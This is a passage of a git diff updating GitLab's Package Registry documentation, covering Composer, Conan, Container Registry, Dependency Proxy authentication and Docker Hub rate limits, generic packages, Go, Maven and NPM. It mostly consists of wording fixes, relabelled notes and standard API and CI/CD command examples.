minimum, `read_api`. - NOTE: **Note:** + NOTE: [Deploy tokens](../../project/deploy_tokens/index.md) are [not yet supported](https://gitlab.com/gitlab-org/gitlab/-/issues/240897) for use with Composer. @@ -248,14 +251,14 @@ To install a package: composer config --unset gitlab-domains ``` - NOTE: **Note:** + NOTE: On GitLab.com, Composer uses the GitLab token from `auth.json` as a private token by default. Without the `gitlab-domains` definition in `composer.json`, Composer uses the GitLab token as basic-auth, with the token as a username and a blank password. This results in a 401 error. Output indicates that the package has been successfully installed. -CAUTION: **Important:** +WARNING: Never commit the `auth.json` file to your repository. To install packages from a CI/CD job, consider using the [`composer config`](https://getcomposer.org/doc/articles/handling-private-packages-with-satis.md#authentication) tool with your personal access token stored in a [GitLab CI/CD environment variable](../../../ci/variables/README.md) or in diff --git a/doc/user/packages/conan_repository/index.md b/doc/user/packages/conan_repository/index.md index f6f8d6d61b6..73798d363af 100644 --- a/doc/user/packages/conan_repository/index.md +++ b/doc/user/packages/conan_repository/index.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Conan packages in the Package Registry @@ -51,7 +51,7 @@ compilers. This example uses the CMake compiler. To install CMake: -- For Mac, use [homebrew](https://brew.sh/) and run `brew install cmake`. +- For Mac, use [Homebrew](https://brew.sh/) and run `brew install cmake`. - For other operating systems, follow the instructions at [cmake.org](https://cmake.org/install/). When installation is complete, verify you can use CMake in your terminal by @@ -86,7 +86,7 @@ To build a package: conan create . mycompany/beta ``` - NOTE: **Note:** + NOTE: If you use an [instance remote](#add-a-remote-for-your-instance), you must follow a specific [naming convention](#package-recipe-naming-convention-for-instance-remotes). @@ -205,7 +205,7 @@ For example: CONAN_LOGIN_USERNAME=<gitlab_username or deploy_token_username> CONAN_PASSWORD=<personal_access_token or deploy_token> conan upload Hello/0.1@mycompany/beta --all --remote=gitlab ``` -NOTE: **Note:** +NOTE: Because your authentication with GitLab expires on a regular basis, you may occasionally need to re-enter your personal access token. @@ -221,7 +221,7 @@ In a terminal, run this command: conan remote add_ref Hello/0.1@mycompany/beta gitlab ``` -NOTE: **Note:** +NOTE: The package recipe includes the version, so the default remote for `Hello/0.1@user/channel` doesn't work for `Hello/0.2@user/channel`. @@ -292,7 +292,7 @@ Prerequisites: - [Authentication](#authenticate-to-the-package-registry) with the Package Registry must be configured. -1. In the project where you want to install the package as a dependency, open +1. In the project where you want to install the package as a dependency, open `conanfile.txt`. Or, in the root of your project, create a file called `conanfile.txt`. @@ -316,10 +316,10 @@ Prerequisites: 1. Install the dependencies listed in `conanfile.txt`: ```shell - conan install <options> + conan install .. <options> ``` -NOTE: **Note:** +NOTE: If you try to install the package you just created in this tutorial, the package already exists on your local computer, so this command has no effect. @@ -336,7 +336,7 @@ There are two ways to remove a Conan package from the GitLab Package Registry. You must explicitly include the remote in this command, otherwise the package is removed only from your local system cache. - NOTE: **Note:** + NOTE: This command removes all recipe and binary package files from the Package Registry. diff --git a/doc/user/packages/container_registry/index.md b/doc/user/packages/container_registry/index.md index 1cb6c951bd9..4e8d105adfa 100644 --- a/doc/user/packages/container_registry/index.md +++ b/doc/user/packages/container_registry/index.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Container Registry @@ -16,6 +16,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - The group-level Container Registry was [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23315) in GitLab 12.10. > - Searching by image repository name was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31322) in GitLab 13.0. +NOTE: +If you pull container images from Docker Hub, you can also use the [GitLab Dependency Proxy](../dependency_proxy/index.md#use-the-dependency-proxy-for-docker-images) to avoid running into rate limits and speed up your pipelines. + With the Docker Container Registry integrated into GitLab, every GitLab project can have its own space to store its Docker images. @@ -127,7 +130,7 @@ To build and push to the Container Registry: docker push registry.example.com/group/project/image ``` -You can also view these commands by going to your project's **Packages & Registries > Container Registry**. +To view these commands, go to your project's **Packages & Registries > Container Registry**. ## Build and push by using GitLab CI/CD @@ -291,7 +294,7 @@ deploy: - master ``` -NOTE: **Note:** +NOTE: This example explicitly calls `docker pull`. If you prefer to implicitly pull the built image using `image:`, and use either the [Docker](https://docs.gitlab.com/runner/executors/docker.html) or [Kubernetes](https://docs.gitlab.com/runner/executors/kubernetes.html) executor, @@ -332,11 +335,11 @@ error during connect: Get http://docker:2376/v1.39/info: dial tcp: lookup docker You can delete images from your Container Registry in multiple ways. -CAUTION: **Warning:** +WARNING: Deleting images is a destructive action and can't be undone. To restore a deleted image, you must rebuild and re-upload it. -NOTE: **Note:** +NOTE: Administrators should review how to [garbage collect](../../../administration/packages/container_registry.md#container-registry-garbage-collection) the deleted images. @@ -368,7 +371,7 @@ information, see the following endpoints: ### Delete images using GitLab CI/CD -CAUTION: **Warning:** +WARNING: GitLab CI/CD doesn't provide a built-in way to remove your images, but this example uses a third-party tool called [reg](https://github.com/genuinetools/reg) that talks to the GitLab Registry API. You are responsible for your own actions. @@ -426,7 +429,7 @@ delete_image: - master ``` -TIP: **Tip:** +NOTE: You can download the latest `reg` release from [the releases page](https://github.com/genuinetools/reg/releases), then update the code example by changing the `REG_SHA256` and `REG_VERSION` variables @@ -489,6 +492,8 @@ Cleanup policies can be run on all projects, with these exceptions: The cleanup policy collects all tags in the Container Registry and excludes tags until only the tags to be deleted remain. +The cleanup policy searches for images based on the tag name. Support for the full path [has not yet been implemented](https://gitlab.com/gitlab-org/gitlab/-/issues/281071), but would allow you to clean up dynamically-named tags. + The cleanup policy: 1. Collects all tags for a given repository in a list. @@ -501,7 +506,7 @@ The cleanup policy: 1. Excludes from the list any tags matching the `name_regex_keep` value (tags to preserve). 1. Finally, the remaining tags in the list are deleted from the Container Registry. -CAUTION: **Warning:** +WARNING: On GitLab.com, the execution time for the cleanup policy is limited, and some of the tags may remain in the Container Registry after the policy runs. The next time the policy runs, the remaining tags are included, so it may take multiple runs for all tags to be deleted. @@ -513,29 +518,31 @@ You can create a cleanup policy in [the API](#use-the-cleanup-policy-api) or the To create a cleanup policy in the UI: 1. For your project, go to **Settings > CI/CD**. -1. Expand the **Cleanup policy for tags** section. +1. Expand the **Clean up image tags** section. 1. Complete the fields. | Field | Description | |---------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------| - | **Cleanup policy** | Turn the policy on or off. | - | **Expiration interval** | How long tags are exempt from being deleted. | - | **Expiration schedule** | How often the policy should run. | - | **Number of tags to retain** | How many tags to _always_ keep for each image. | - | **Tags with names matching this regex pattern expire:** | The regex pattern that determines which tags to remove. This value cannot be blank. For all tags, use `.*`. See other [regex pattern examples](#regex-pattern-examples). | - | **Tags with names matching this regex pattern are preserved:** | The regex pattern that determines which tags to preserve. The `latest` tag is always preserved. For all tags, use `.*`. See other [regex pattern examples](#regex-pattern-examples). | + | **Toggle** | Turn the policy on or off. | + | **Run cleanup** | How often the policy should run. | + | **Keep the most recent** | How many tags to _always_ keep for each image. | + | **Keep tags matching** | The regex pattern that determines which tags to preserve. The `latest` tag is always preserved. For all tags, use `.*`. See other [regex pattern examples](#regex-pattern-examples). | + | **Remove tags older than** | Remove only tags older than X days. | + | **Remove tags matching** | The regex pattern that determines which tags to remove. This value cannot be blank. For all tags, use `.*`. See other [regex pattern examples](#regex-pattern-examples). | -1. Click **Set cleanup policy**. +1. Click **Save**. Depending on the interval you chose, the policy is scheduled to run. -NOTE: **Note:** -If you edit the policy and click **Set cleanup policy** again, the interval is reset. +NOTE: +If you edit the policy and click **Save** again, the interval is reset. ### Regex pattern examples Cleanup policies use regex patterns to determine which tags should be preserved or removed, both in the UI and the API. +Regex patterns are automatically surrounded with `\A` and `\Z` anchors. Do not include any `\A`, `\Z`, `^` or `$` token in the regex patterns as they are not necessary. + Here are examples of regex patterns you may want to use: - Match all tags: @@ -573,7 +580,7 @@ Examples: - Select all tags, keep at least 1 tag per image, clean up any tag older than 14 days, run once a month, preserve any images with the name `master` and the policy is enabled: ```shell - curl --request PUT --header 'Content-Type: application/json;charset=UTF-8' --header "PRIVATE-TOKEN: <your_access_token>" --data-binary '{"container_expiration_policy_attributes":{"cadence":"1month","enabled":true,"keep_n":1,"older_than":"14d","name_regex":"","name_regex_delete":".*","name_regex_keep":".*-master"}}' 'https://gitlab.example.com/api/v4/projects/2' + curl --request PUT --header 'Content-Type: application/json;charset=UTF-8' --header "PRIVATE-TOKEN: <your_access_token>" --data-binary '{"container_expiration_policy_attributes":{"cadence":"1month","enabled":true,"keep_n":1,"older_than":"14d","name_regex":"","name_regex_delete":".*","name_regex_keep":".*-master"}}' "https://gitlab.example.com/api/v4/projects/2" ``` See the API documentation for further details: [Edit project](../../../api/projects.md#edit-project). diff --git a/doc/user/packages/dependency_proxy/index.md b/doc/user/packages/dependency_proxy/index.md index e1fae770a5d..fbede6d13b7 100644 --- a/doc/user/packages/dependency_proxy/index.md +++ b/doc/user/packages/dependency_proxy/index.md @@ -1,13 +1,15 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Dependency Proxy > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7934) in [GitLab Premium](https://about.gitlab.com/pricing/) 11.11. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/273655) to [GitLab Core](https://about.gitlab.com/pricing/) in GitLab 13.6. +> - [Support for private groups](https://gitlab.com/gitlab-org/gitlab/-/issues/11582) in [GitLab Core](https://about.gitlab.com/pricing/) 13.7. +> - Anonymous access to images in public groups is no longer available starting in [GitLab Core](https://about.gitlab.com/pricing/) 13.7. The GitLab Dependency Proxy is a local proxy you can use for your frequently-accessed upstream images. @@ -15,11 +17,14 @@ upstream images. In the case of CI/CD, the Dependency Proxy receives a request and returns the upstream image from a registry, acting as a pull-through cache. -## Prerequisites +NOTE: +The Dependency Proxy is not compatible with Docker version 20.x and later. +If you are using the Dependency Proxy, Docker version 19.x.x is recommended until +[issue #290944](https://gitlab.com/gitlab-org/gitlab/-/issues/290944) is resolved. -To use the Dependency Proxy: +## Prerequisites -- Your group must be public. Authentication for private groups is [not supported yet](https://gitlab.com/gitlab-org/gitlab/-/issues/11582). +The Dependency Proxy must be [enabled by an administrator](../../../administration/packages/dependency_proxy.md). ### Supported images and packages @@ -32,6 +37,11 @@ The following images and packages are supported. For a list of planned additions, view the [direction page](https://about.gitlab.com/direction/package/dependency_proxy/#top-vision-items). +## Enable the Dependency Proxy + +The Dependency Proxy is disabled by default. +[Learn how an administrator can enable it](../../../administration/packages/dependency_proxy.md). + ## View the Dependency Proxy To view the Dependency Proxy: @@ -42,16 +52,136 @@ The Dependency Proxy is not available for projects. ## Use the Dependency Proxy for Docker images -CAUTION: **Important:** -In some specific storage configurations, an issue occurs and container images are not pulled correctly from the cache. The problem occurs when an image is located in object storage. The proxy looks for it locally and fails to find it. View [issue #208080](https://gitlab.com/gitlab-org/gitlab/-/issues/208080) for details. - You can use GitLab as a source for your Docker images. Prerequisites: - Your images must be stored on [Docker Hub](https://hub.docker.com/). -- Docker Hub must be available. Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/241639) - for progress on accessing images when Docker Hub is down. + +### Authenticate with the Dependency Proxy + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11582) in [GitLab Core](https://about.gitlab.com/pricing/) 13.7. +> - It's [deployed behind a feature flag](../../feature_flags.md), enabled by default. +> - It's enabled on GitLab.com. +> - It's recommended for production use. +> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](../../../administration/packages/dependency_proxy.md#disabling-authentication). **(CORE ONLY)** + +WARNING: +This feature might not be available to you. Check the **version history** note above for details. +The requirement to authenticate is a breaking change added in 13.7. An [administrator can temporarily +disable it](../../../administration/packages/dependency_proxy.md#disabling-authentication) if it +has disrupted your existing Dependency Proxy usage. + +Because the Dependency Proxy is storing Docker images in a space associated with your group, +you must authenticate against the Dependency Proxy. + +Follow the [instructions for using images from a private registry](../../../ci/docker/using_docker_images.md#define-an-image-from-a-private-container-registry), +but instead of using `registry.example.com:5000`, use your GitLab domain with no port `gitlab.example.com`. + +For example, to manually log in: + +```shell +docker login gitlab.example.com --username my_username --password my_password +``` + +You can authenticate using: + +- Your GitLab username and password. +- A [personal access token](../../../user/profile/personal_access_tokens.md) with the scope set to `read_registry` and `write_registry`. + +#### Authenticate within CI/CD + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/280582) in GitLab 13.7. + +To work with the Dependency Proxy in [GitLab CI/CD](../../../ci/README.md), you can use: + +- `CI_DEPENDENCY_PROXY_USER`: A CI user for logging in to the Dependency Proxy. +- `CI_DEPENDENCY_PROXY_PASSWORD`: A CI password for logging in to the Dependency Proxy. +- `CI_DEPENDENCY_PROXY_SERVER`: The server for logging in to the Dependency Proxy. +- `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`: The image prefix for pulling images through the Dependency Proxy. + +This script shows how to use these variables to log in and pull an image from the Dependency Proxy: + +```yaml +# .gitlab-ci.yml + +dependency-proxy-pull-master: + # Official docker image. + image: docker:latest + stage: build + services: + - docker:dind + before_script: + - docker login -u "$CI_DEPENDENCY_PROXY_USER" -p "$CI_DEPENDENCY_PROXY_PASSWORD" "$CI_DEPENDENCY_PROXY_SERVER" + script: + - docker pull "$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX"/alpine:latest +``` + +`CI_DEPENDENCY_PROXY_SERVER` and `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` include the server port. So if you use `CI_DEPENDENCY_PROXY_SERVER` to log in, for example, you must explicitly include the port in your pull command and vice-versa: + +```shell +docker pull gitlab.example.com:443/my-group/dependency_proxy/containers/alpine:latest +``` + +You can also use [custom environment variables](../../../ci/variables/README.md#custom-environment-variables) to store and access your personal access token or other valid credentials. + +##### Authenticate with `DOCKER_AUTH_CONFIG` + +You can use the Dependency Proxy to pull your base image. + +1. [Create a `DOCKER_AUTH_CONFIG` environment variable](../../../ci/docker/using_docker_images.md#define-an-image-from-a-private-container-registry). +1. Get credentials that allow you to log into the Dependency Proxy. +1. Generate the version of these credentials that will be used by Docker: + + ```shell + # The use of "-n" - prevents encoding a newline in the password. + echo -n "my_username:my_password" | base64 + + # Example output to copy + bXlfdXNlcm5hbWU6bXlfcGFzc3dvcmQ= + ``` + + This can also be other credentials such as: + + ```shell + echo -n "my_username:personal_access_token" | base64 + echo -n "deploy_token_username:deploy_token" | base64 + ``` + +1. Create a [custom environment variables](../../../ci/variables/README.md#custom-environment-variables) +named `DOCKER_AUTH_CONFIG` with a value of: + + ```json + { + "auths": { + "https://gitlab.example.com": { + "auth": "(Base64 content from above)" + } + } + } + ``` + + To use `$CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` when referencing images, you must explicitly include the port in your `DOCKER_AUTH_CONFIG` value: + + ```json + { + "auths": { + "https://gitlab.example.com:443": { + "auth": "(Base64 content from above)" + } + } + } + ``` + +1. Now reference the Dependency Proxy in your base image: + + ```yaml + # .gitlab-ci.yml + image: ${CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX}/node:latest + ... + ``` + +### Store a Docker image in Dependency Proxy cache To store a Docker image in Dependency Proxy storage: @@ -89,3 +219,69 @@ stored. To reclaim disk space used by image blobs that are no longer needed, use the [Dependency Proxy API](../../../api/dependency_proxy.md). + +## Docker Hub rate limits and the Dependency Proxy + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241639) in [GitLab Core](https://about.gitlab.com/pricing/) 13.7. + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> +Watch how to [use the Dependency Proxy to help avoid Docker Hub rate limits](https://youtu.be/Nc4nUo7Pq08). + +In November 2020, Docker introduced +[rate limits on pull requests from Docker Hub](https://docs.docker.com/docker-hub/download-rate-limit/). +If your GitLab [CI/CD configuration](../../../ci/README.md) uses +an image from Docker Hub, each time a job runs, it may count as a pull request. +To help get around this limit, you can pull your image from the Dependency Proxy cache instead. + +When you pull an image (by using a command like `docker pull` or, in a `.gitlab-ci.yml` +file, `image: foo:latest`), the Docker client makes a collection of requests: + +1. The image manifest is requested. The manifest contains information about + how to build the image. +1. Using the manifest, the Docker client requests a collection of layers, also + known as blobs, one at a time. + +The Docker Hub rate limit is based on the number of GET requests for the manifest. The Dependency Proxy +caches both the manifest and blobs for a given image, so when you request it again, +Docker Hub does not have to be contacted. + +### How does GitLab know if a cached tagged image is stale? + +If you are using an image tag like `alpine:latest`, the image changes +over time. Each time it changes, the manifest contains different information about which +blobs to request. The Dependency Proxy does not pull a new image each time the +manifest changes; it checks only when the manifest becomes stale. + +Docker does not count HEAD requests for the image manifest towards the rate limit. +You can make a HEAD request for `alpine:latest`, view the digest (checksum) +value returned in the header, and determine if a manifest has changed. + +The Dependency Proxy starts all requests with a HEAD request. If the manifest +has become stale, only then is a new image pulled. + +For example, if your pipeline pulls `node:latest` every five +minutes, the Dependency Proxy caches the entire image and only updates it if +`node:latest` changes. So instead of having 360 requests for the image in six hours +(which exceeds the Docker Hub rate limit), you only have one pull request, unless +the manifest changed during that time. + +### Check your Docker Hub rate limit + +If you are curious about how many requests to Docker Hub you have made and how +many remain, you can run these commands from your runner, or even in a CI/CD +script: + +```shell +# Note, you must have jq installed to run this command +TOKEN=$(curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:ratelimitpreview/test:pull" | jq --raw-output .token) && curl --head --header "Authorization: Bearer $TOKEN" "https://registry-1.docker.io/v2/ratelimitpreview/test/manifests/latest" 2>&1 | grep RateLimit +... +``` + +The output is something like: + +```shell +RateLimit-Limit: 100;w=21600 +RateLimit-Remaining: 98;w=21600 +``` + +This example shows the total limit of 100 pulls in six hours, with 98 pulls remaining. diff --git a/doc/user/packages/generic_packages/index.md b/doc/user/packages/generic_packages/index.md index f489c7c800f..c9859840c9c 100644 --- a/doc/user/packages/generic_packages/index.md +++ b/doc/user/packages/generic_packages/index.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab Generic Packages Repository **(CORE)** @@ -13,7 +13,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - It's recommended for production use. > - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-generic-packages-in-the-package-registry). -CAUTION: **Warning:** +WARNING: This feature might not be available to you. Check the **version history** note above for details. Publish generic files, like release binaries, in your project’s Package Registry. Then, install the packages whenever you need to use them as a dependency. @@ -39,7 +39,7 @@ PUT /projects/:id/packages/generic/:package_name/:package_version/:file_name | -------------------| --------------- | ---------| -------------------------------------------------------------------------------------------------------------------------------- | | `id` | integer/string | yes | The ID or [URL-encoded path of the project](../../../api/README.md#namespaced-path-encoding). | | `package_name` | string | yes | The package name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`). -| `package_version` | string | yes | The package version. It can contain only numbers (`0-9`), and dots (`.`). Must be in the format of `X.Y.Z`, i.e. should match `/\A\d+\.\d+\.\d+\z/` regular expresion. +| `package_version` | string | yes | The package version. It can contain only numbers (`0-9`), and dots (`.`). Must be in the format of `X.Y.Z`, i.e. should match `/\A\d+\.\d+\.\d+\z/` regular expression. | `file_name` | string | yes | The file name. It can contain only lowercase letters (`a-z`), uppercase letter (`A-Z`), numbers (`0-9`), dots (`.`), hyphens (`-`), or underscores (`_`). Provide the file context in the request body. @@ -49,7 +49,7 @@ Example request: ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" \ --upload-file path/to/file.txt \ - https://gitlab.example.com/api/v4/projects/24/packages/generic/my_package/0.0.1/file.txt + "https://gitlab.example.com/api/v4/projects/24/packages/generic/my_package/0.0.1/file.txt" ``` Example response: @@ -79,13 +79,13 @@ GET /projects/:id/packages/generic/:package_name/:package_version/:file_name | `package_version` | string | yes | The package version. | | `file_name` | string | yes | The file name. | -The file context is served in the response body. The response content type will be `application/octet-stream`. +The file context is served in the response body. The response content type is `application/octet-stream`. Example request that uses a personal access token: ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" \ - https://gitlab.example.com/api/v4/projects/24/packages/generic/my_package/0.0.1/file.txt + "https://gitlab.example.com/api/v4/projects/24/packages/generic/my_package/0.0.1/file.txt" ``` ## Publish a generic package by using CI/CD @@ -105,7 +105,7 @@ stages: upload: stage: upload script: - - 'curl --header "JOB-TOKEN: $CI_JOB_TOKEN" --upload-file path/to/file.txt ${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/my_package/0.0.1/file.txt' + - 'curl --header "JOB-TOKEN: $CI_JOB_TOKEN" --upload-file path/to/file.txt "${CI_API_V4_URL}/projects/${CI_PROJECT_ID}/packages/generic/my_package/0.0.1/file.txt"' download: stage: download diff --git a/doc/user/packages/go_proxy/index.md b/doc/user/packages/go_proxy/index.md index 81edc3afcfd..87cd4a4a9a6 100644 --- a/doc/user/packages/go_proxy/index.md +++ b/doc/user/packages/go_proxy/index.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Go proxy for GitLab @@ -45,7 +45,7 @@ Feature.enable(:go_proxy, Project.find(1)) Feature.disable(:go_proxy, Project.find(2)) ``` -NOTE: **Note:** +NOTE: Even if it's enabled, GitLab doesn't display Go modules in the **Package Registry**. Follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/213770) for details. @@ -159,7 +159,7 @@ later, can be written with `go env -w <var>=<value>`. For example, Go modules and module versions are defined by source repositories, such as Git, SVN, and Mercurial. A module is a repository that contains `go.mod` and Go -files. Module versions are defined by VCS tags. +files. Module versions are defined by version control system (VCS) tags. To publish a module, push `go.mod` and source files to a VCS repository. To publish a module version, push a VCS tag. diff --git a/doc/user/packages/index.md b/doc/user/packages/index.md index 83d179cbc9c..9da14842845 100644 --- a/doc/user/packages/index.md +++ b/doc/user/packages/index.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Packages & Registries @@ -32,8 +32,8 @@ You can also use the [API](../../api/packages.md) to administer the Package Regi ## Accepting contributions -The below table lists formats that are not supported, but are accepting Community contributions for. Consider contributing to GitLab. This [development documentation](../../development/packages.md) will -guide you through the process. +The below table lists formats that are not supported, but are accepting Community contributions for. Consider contributing to GitLab. This [development documentation](../../development/packages.md) +guides you through the process. | Format | Status | | ------ | ------ | diff --git a/doc/user/packages/maven_repository/index.md b/doc/user/packages/maven_repository/index.md index 5d0d64b310d..e0f5a400977 100644 --- a/doc/user/packages/maven_repository/index.md +++ b/doc/user/packages/maven_repository/index.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Maven packages in the Package Repository @@ -361,7 +361,7 @@ To use the GitLab endpoint for Maven packages, choose an option: - **Instance-level**: Use when you have many Maven packages in different GitLab groups or in their own namespace. -The option you choose determines the settings you'll add to your `pom.xml` file. +The option you choose determines the settings you add to your `pom.xml` file. In all cases, to publish a package, you need: @@ -653,7 +653,7 @@ The message should show that the package is downloading from the Package Registr Downloading from gitlab-maven: http://gitlab.example.com/api/v4/projects/PROJECT_ID/packages/maven/com/mycompany/mydepartment/my-project/1.0-SNAPSHOT/my-project-1.0-20200128.120857-1.pom ``` -TIP: **Tip:** +NOTE: In the GitLab UI, on the Package Registry page for Maven, you can view and copy these commands. ### Use Gradle @@ -707,23 +707,23 @@ You can create a new package each time the `master` branch is updated. 1. Make sure your `pom.xml` file includes the following. You can either let Maven use the CI environment variables, as shown in this example, - or you can hard code your project's ID. + or you can hard code your server's hostname and project's ID. ```xml <repositories> <repository> <id>gitlab-maven</id> - <url>https://gitlab.example.com/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url> + <url>${env.CI_SERVER_URL}/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url> </repository> </repositories> <distributionManagement> <repository> <id>gitlab-maven</id> - <url>https://gitlab.example.com/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url> + <url>${env.CI_SERVER_URL}/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url> </repository> <snapshotRepository> <id>gitlab-maven</id> - <url>https://gitlab.example.com/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url> + <url>${env.CI_SERVER_URL}/api/v4/projects/${env.CI_PROJECT_ID}/packages/maven</url> </snapshotRepository> </distributionManagement> ``` @@ -793,7 +793,7 @@ mvn deploy \ -Dorg.slf4j.simpleLogger.log.org.apache.maven.wagon.providers.http.httpclient.wire=trace ``` -CAUTION: **Caution:** +WARNING: When you set these options, all network requests are logged and a large amount of output is generated. ### Useful Maven command-line options diff --git a/doc/user/packages/npm_registry/index.md b/doc/user/packages/npm_registry/index.md index feb797240f4..51b41b842fa 100644 --- a/doc/user/packages/npm_registry/index.md +++ b/doc/user/packages/npm_registry/index.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # NPM packages in the Package Registry @@ -12,7 +12,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Publish NPM packages in your project's Package Registry. Then install the packages whenever you need to use them as a dependency. -Only [scoped](https://docs.npmjs.com/misc/scope) packages are supported. +Only [scoped](https://docs.npmjs.com/misc/scope/) packages are supported. ## Build an NPM package @@ -25,7 +25,7 @@ the [next section](#authenticate-to-the-package-registry). ### Install NPM Install Node.js and NPM in your local development environment by following -the instructions at [npmjs.com](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm). +the instructions at [npmjs.com](https://docs.npmjs.com/downloading-and-installing-node-js-and-npm/). When installation is complete, verify you can use NPM in your terminal by running: @@ -102,10 +102,11 @@ To authenticate to the Package Registry, you must use one of the following: - It's not recommended, but you can use [OAuth tokens](../../../api/oauth2.md#resource-owner-password-credentials-flow). Standard OAuth tokens cannot authenticate to the GitLab NPM Registry. You must use a personal access token with OAuth headers. - A [CI job token](#authenticate-with-a-ci-job-token). +- Your NPM package name must be in the format of [@scope:package-name](#package-naming-convention). It must match exactly, including the case. ### Authenticate with a personal access token or deploy token -To authenticate with the Package Registry, you will need a [personal access token](../../profile/personal_access_tokens.md) or [deploy token](../../project/deploy_tokens/index.md). +To authenticate with the Package Registry, you need a [personal access token](../../profile/personal_access_tokens.md) or [deploy token](../../project/deploy_tokens/index.md). #### Project-level NPM endpoint @@ -228,7 +229,7 @@ This regex allows almost all of the characters that NPM allows, with a few excep The regex also allows for capital letters, while NPM does not. Capital letters are needed because the scope must be identical to the root namespace of the project. -CAUTION: **Caution:** +WARNING: When you update the path of a user or group, or transfer a subgroup or project, you must remove any NPM packages first. You cannot update the root namespace of a project with NPM packages. Make sure you update your `.npmrc` files to follow @@ -240,6 +241,7 @@ Prerequisites: - [Authenticate](#authenticate-to-the-package-registry) to the Package Registry. - Set a [project-level NPM endpoint](#use-the-gitlab-endpoint-for-npm-packages). +- Your NPM package name must be in the format of [@scope:package-name](#package-naming-convention). It must match exactly, including the case. To upload an NPM package to your project, run this command: @@ -277,6 +279,10 @@ deploy: - npm publish ``` +See the +[Publish NPM packages to the GitLab Package Registry using semantic-release](../../../ci/examples/semantic-release.md) +step-by-step guide and demo project for a complete example. + ## Publishing packages with the same name or version You cannot publish a package if a package of the same name and version already exists. @@ -356,7 +362,7 @@ In GitLab 12.6 and later, packages published to the Package Registry expose the > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9425) in GitLab Premium 12.8. > - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/221259) to GitLab Core in 13.3. -You can add [distribution tags](https://docs.npmjs.com/cli/dist-tag) to newly-published packages. +You can add [distribution tags](https://docs.npmjs.com/cli/dist-tag/) to newly-published packages. Tags are optional and can be assigned to only one package at a time. When you publish a package without a tag, the `latest` tag is added by default. @@ -451,3 +457,11 @@ If you get this error, ensure that: - The scoped packages URL includes a trailing slash: - Correct: `//gitlab.example.com/api/v4/packages/npm/` - Incorrect: `//gitlab.example.com/api/v4/packages/npm` + +### `npm publish` returns `npm ERR! 400 Bad Request` + +If 